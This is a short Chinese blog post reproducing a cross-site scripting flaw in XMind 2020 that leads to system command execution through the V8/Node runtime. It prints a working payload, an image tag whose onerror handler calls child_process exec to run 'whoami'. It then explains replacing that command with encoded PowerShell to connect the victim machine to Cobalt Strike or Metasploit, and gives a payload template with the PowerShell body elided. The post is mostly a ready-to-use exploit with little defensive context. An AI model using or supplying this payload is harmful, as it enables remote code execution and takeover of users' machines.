XMind-XSS-V8内核命令执行复现

Adminxe

于 2021-05-11 10:59:56 发布

阅读量278

点赞数

CC 4.0 BY-SA版权

分类专栏：渗透测试漏洞复现文章标签： XMind-XSS-V8内核命令执行复现

本文链接：https://blog.youkuaiyun.com/Adminxe/article/details/116645617

56 篇文章

订阅专栏

49 篇文章

订阅专栏

本文介绍了一个存在于XMind 2020版本中的XSS漏洞，该漏洞允许攻击者通过精心构造的payload执行任意命令。文章详细展示了如何利用此漏洞执行'whoami'命令，并进一步介绍了如何通过powershell命令实现更复杂的操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

测试环境：

XMind 202005082128

<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})">

shift 
control 
option 
command

1、命令执行

whoami

2、扩展上线CS

XSS执行系统命令，内核V8，上线到CS或者MSF，替换whoami，

通过对powershell进行编码，然后替换payload进行上线CS

payload：

<img src=x onerror="const exec = require('child_process').exec;exec('powershell（……）').stdout.on('data', function (data) {alert(data);})">